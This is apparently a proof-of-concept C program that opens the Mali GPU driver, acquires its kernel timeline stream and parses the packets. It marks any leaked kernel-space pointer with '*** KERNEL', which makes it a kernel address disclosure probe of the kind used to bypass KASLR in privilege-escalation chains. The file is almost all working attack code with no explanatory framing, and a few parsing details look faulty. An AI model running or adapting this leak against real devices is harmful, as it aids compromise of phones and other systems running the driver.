#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>

#define MALI_DEVICE "/dev/mali0"

#define KBASE_IOCTL_TYPE 0x80

#define KBASE_IOCTL_VERSION_CHECK \
	_IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check)
#define KBASE_IOCTL_SET_FLAGS \
	_IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
#define KBASE_IOCTL_TLSTREAM_ACQUIRE \
	_IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire)

#define BASE_CONTEXT_CREATE_FLAG_NONE 0
#define BASE_CONTEXT_CREATE_FLAG_MONITOR (1 << 4)

#define BASE_KERNEL_UKERNEL_VERSION(a, b) (((a) << 16) + (b))

struct kbase_ioctl_version_check {
	__u16 major;
	__u16 minor;
};

struct kbase_ioctl_set_flags {
	__u32 create_flags;
};

struct kbase_ioctl_tlstream_acquire {
	__u32 flags;
};

#define PACKET_HEADER_SIZE 8
#define PACKET_SIZE 4096
#define PACKET_TYPE_SUMMARY 2
#define PACKET_CLASS_OBJ 0

enum tl_msg_id {
	KBASE_TL_NEW_CTX = 0,
	KBASE_TL_NEW_GPU = 1,
	KBASE_TL_NEW_LPU = 2,
	KBASE_TL_NEW_ATOM = 3,
	KBASE_TL_NEW_AS = 4,
	KBASE_TL_DEL_CTX = 5,
	KBASE_TL_DEL_ATOM = 6,
	KBASE_TL_LIFELINK_LPU_GPU = 7,
	KBASE_TL_LIFELINK_AS_GPU = 8,
	KBASE_TL_RET_CTX_LPU = 9,
	KBASE_TL_RET_ATOM_CTX = 10,
	KBASE_TL_RET_ATOM_LPU = 11,
	KBASE_TL_NRET_CTX_LPU = 12,
	KBASE_TL_NRET_ATOM_CTX = 13,
	KBASE_TL_NRET_ATOM_LPU = 14,
	KBASE_TL_RET_AS_CTX = 15,
	KBASE_TL_NRET_AS_CTX = 16,
	KBASE_TL_RET_ATOM_AS = 17,
	KBASE_TL_NRET_ATOM_AS = 18,
	KBASE_TL_DEP_ATOM_ATOM = 19,
	KBASE_TL_NDEP_ATOM_ATOM = 20,
	KBASE_TL_RDEP_ATOM_ATOM = 21,
	KBASE_TL_ATTRIB_ATOM_CONFIG = 22,
	KBASE_TL_ATTRIB_ATOM_PRIORITY = 23,
	KBASE_TL_ATTRIB_ATOM_STATE = 24,
	KBASE_TL_ATTRIB_ATOM_PRIORITIZED = 25,
	KBASE_TL_ATTRIB_ATOM_JIT = 26,
	KBASE_TL_ATTRIB_AS_CONFIG = 27,
	KBASE_TL_EVENT_LPU_SOFTSTOP = 28,
	KBASE_TL_EVENT_ATOM_SOFTSTOP_EX = 29,
	KBASE_TL_EVENT_ATOM_SOFTSTOP_ISSUE = 30,
	KBASE_JD_GPU_SOFT_RESET = 31,
};

static void *ptr_from_payload(const uint8_t *data, int offset)
{
	void *ptr;
	memcpy(&ptr, data + offset, sizeof(ptr));
	return ptr;
}

static uint32_t u32_from_payload(const uint8_t *data, int offset)
{
	uint32_t v;
	memcpy(&v, data + offset, sizeof(v));
	return v;
}

static uint64_t u64_from_payload(const uint8_t *data, int offset)
{
	uint64_t v;
	memcpy(&v, data + offset, sizeof(v));
	return v;
}

struct fmt_spec {
	const char *types;
	int payload_size;
};

static struct fmt_spec get_format(int msg_id)
{
	switch (msg_id) {
	case KBASE_TL_NEW_CTX:   return (struct fmt_spec){"pII", 8+4+4};
	case KBASE_TL_NEW_GPU:   return (struct fmt_spec){"pII", 8+4+4};
	case KBASE_TL_NEW_LPU:   return (struct fmt_spec){"pII", 8+4+4};
	case KBASE_TL_NEW_ATOM:  return (struct fmt_spec){"pI",  8+4};
	case KBASE_TL_NEW_AS:    return (struct fmt_spec){"pI",  8+4};
	case KBASE_TL_DEL_CTX:   return (struct fmt_spec){"p",   8};
	case KBASE_TL_DEL_ATOM:  return (struct fmt_spec){"p",   8};
	case KBASE_TL_LIFELINK_LPU_GPU: return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_LIFELINK_AS_GPU:  return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_CTX_LPU:      return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_ATOM_CTX:     return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_ATOM_LPU:     return (struct fmt_spec){"pp", 8+8+4};
	case KBASE_TL_NRET_CTX_LPU:     return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_ATOM_CTX:    return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_ATOM_LPU:    return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_AS_CTX:       return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_AS_CTX:      return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_ATOM_AS:      return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_ATOM_AS:     return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_DEP_ATOM_ATOM:    return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NDEP_ATOM_ATOM:   return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RDEP_ATOM_ATOM:   return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_ATTRIB_ATOM_CONFIG: return (struct fmt_spec){"pLLI", 8+8+8+4};
	case KBASE_TL_ATTRIB_ATOM_PRIORITY: return (struct fmt_spec){"pI", 8+4};
	case KBASE_TL_ATTRIB_ATOM_STATE: return (struct fmt_spec){"pI", 8+4};
	case KBASE_TL_ATTRIB_ATOM_PRIORITIZED: return (struct fmt_spec){"p", 8};
	case KBASE_TL_ATTRIB_ATOM_JIT:  return (struct fmt_spec){"pLL", 8+8+8};
	case KBASE_TL_ATTRIB_AS_CONFIG: return (struct fmt_spec){"pLLL", 8+8+8+8};
	case KBASE_TL_EVENT_LPU_SOFTSTOP: return (struct fmt_spec){"p", 8};
	case KBASE_TL_EVENT_ATOM_SOFTSTOP_EX: return (struct fmt_spec){"p", 8};
	case KBASE_TL_EVENT_ATOM_SOFTSTOP_ISSUE: return (struct fmt_spec){"p", 8};
	case KBASE_JD_GPU_SOFT_RESET:   return (struct fmt_spec){"p", 8};
	default: return (struct fmt_spec){NULL, 0};
	}
}

static const char *msg_name(int msg_id)
{
	switch (msg_id) {
	case KBASE_TL_NEW_CTX:   return "NEW_CTX";
	case KBASE_TL_NEW_GPU:   return "NEW_GPU";
	case KBASE_TL_NEW_LPU:   return "NEW_LPU";
	case KBASE_TL_NEW_ATOM:  return "NEW_ATOM";
	case KBASE_TL_NEW_AS:    return "NEW_AS";
	case KBASE_TL_ATTRIB_AS_CONFIG: return "ATTRIB_AS_CONFIG";
	case KBASE_TL_LIFELINK_LPU_GPU: return "LIFELINK_LPU_GPU";
	case KBASE_TL_LIFELINK_AS_GPU:  return "LIFELINK_AS_GPU";
	default: return "?";
	}
}

static void parse_timeline_packet(const uint8_t *buf, int len)
{
	int off = PACKET_HEADER_SIZE;

	uint32_t word0, word1;
	memcpy(&word0, buf, 4);
	memcpy(&word1, buf+4, 4);
	int numbered = (word1 >> 24) & 1;

	if (numbered)
		off += 4;

	while (off + 4 + 8 <= len) {
		uint32_t msg_id;
		memcpy(&msg_id, buf + off, 4);
		off += 4;

		uint64_t ts;
		memcpy(&ts, buf + off, 8);
		off += 8;

		struct fmt_spec fmt = get_format(msg_id);
		if (fmt.types == NULL) {
			break;
		}

		if (off + fmt.payload_size > len)
			break;

		int nptrs = 0;
		for (const char *p = fmt.types; *p; p++)
			if (*p == 'p') nptrs++;

		printf("  [%s] (ts=%llu, %d bytes payload)",
			msg_name(msg_id), (unsigned long long)ts, fmt.payload_size);

		int poff = 0;
		int ptr_idx = 0;
		for (const char *p = fmt.types; *p; p++) {
			if (*p == 'p') {
				uint64_t ptr;
				memcpy(&ptr, buf + off + poff, sizeof(uint64_t));
				int is_kernel = (ptr >> 32) == 0xffffff80 || (ptr >> 32) == 0xffffffc0;
				printf(" ptr%d=0x%lx%s", ptr_idx, (unsigned long)ptr,
					is_kernel ? " *** KERNEL" : "");
				ptr_idx++;
				poff += 8;
			} else if (*p == 'I' || *p == 'L') {
				int sz = (*p == 'I') ? 4 : 8;
				if (sz == 4) {
					uint32_t v;
					memcpy(&v, buf + off + poff, 4);
					printf(" val%d=%u", ptr_idx, v);
				} else {
					uint64_t v;
					memcpy(&v, buf + off + poff, 8);
					printf(" val%d=%llu", ptr_idx, (unsigned long long)v);
				}
				poff += sz;
			}
		}
		printf("\n");
		off += fmt.payload_size;
	}
}

int main()
{
	int fd = open(MALI_DEVICE, O_RDWR);
	if (fd < 0) {
		perror("open");
		return 1;
	}

	struct kbase_ioctl_version_check ver = {.major = 1, .minor = 0};
	if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &ver)) {
		perror("VERSION_CHECK");
		close(fd);
		return 1;
	}
	printf("Version: major=%u minor=%u\n", ver.major, ver.minor);

	struct kbase_ioctl_set_flags sf = {.create_flags = BASE_CONTEXT_CREATE_FLAG_NONE};
	if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &sf)) {
		perror("SET_FLAGS");
		close(fd);
		return 1;
	}
	printf("SET_FLAGS ok\n");

	struct kbase_ioctl_tlstream_acquire ta = {.flags = 0};
	int tlfd = ioctl(fd, KBASE_IOCTL_TLSTREAM_ACQUIRE, &ta);
	if (tlfd < 0) {
		perror("TLSTREAM_ACQUIRE");
		close(fd);
		return 1;
	}
	printf("TLSTREAM_ACQUIRE ok, tlfd=%d\n", tlfd);

	sleep(2);

	uint8_t buf[PACKET_SIZE * 4];
	int total = 0;
	for (int i = 0; i < 8; i++) {
		int n = read(tlfd, buf + total, PACKET_SIZE);
		if (n <= 0) {
			if (n < 0) perror("read");
			break;
		}
		total += n;
		printf("Read %d bytes from tlstream (total=%d)\n", n, total);
		if (n < PACKET_SIZE)
			break;
	}

	printf("\nRaw hex dump (%d bytes):\n", total);
	for (int i = 0; i < total && i < 512; i++) {
		if (i % 16 == 0) printf("\n%04x: ", i);
		printf("%02x ", buf[i]);
	}
	printf("\n");

	printf("\nParsing packets:\n");
	int off = 0;
	while (off + PACKET_HEADER_SIZE <= total) {
		uint32_t word0, word1;
		memcpy(&word0, buf+off, 4);
		memcpy(&word1, buf+off+4, 4);

		int pkt_family  = (word0 >> 26) & 0x3f;
		int pkt_class   = (word0 >> 19) & 0x7f;
		int pkt_type    = (word0 >> 16) & 0x7;
		int stream_id   = word0 & 0xff;
		int data_length = word1 & 0xffffff;
		int numbered    = (word1 >> 24) & 1;

		int pkt_total = PACKET_HEADER_SIZE + (numbered ? 4 : 0) + data_length;
		if (off + pkt_total > total) {
			printf("Packet %d: incomplete (%d+%d > %d)\n", off, off, pkt_total, total);
			break;
		}

		static const char *family_str[] = {"CTRL", "TL"};
		static const char *class_str[] = {"OBJ", "AUX"};
		static const char *type_str[] = {"HEADER", "BODY", "SUMMARY"};

		printf("\nPacket at offset %d: family=%s class=%s type=%s stream=%d len=%d numbered=%d\n",
			off,
			family_str[pkt_family],
			class_str[pkt_class],
			type_str[pkt_type],
			stream_id, data_length, numbered);

		if (pkt_type == PACKET_TYPE_SUMMARY && pkt_class == PACKET_CLASS_OBJ) {
			parse_timeline_packet(buf + off, pkt_total);
		}

		off += pkt_total;
	}

	close(tlfd);
	close(fd);
	return 0;
}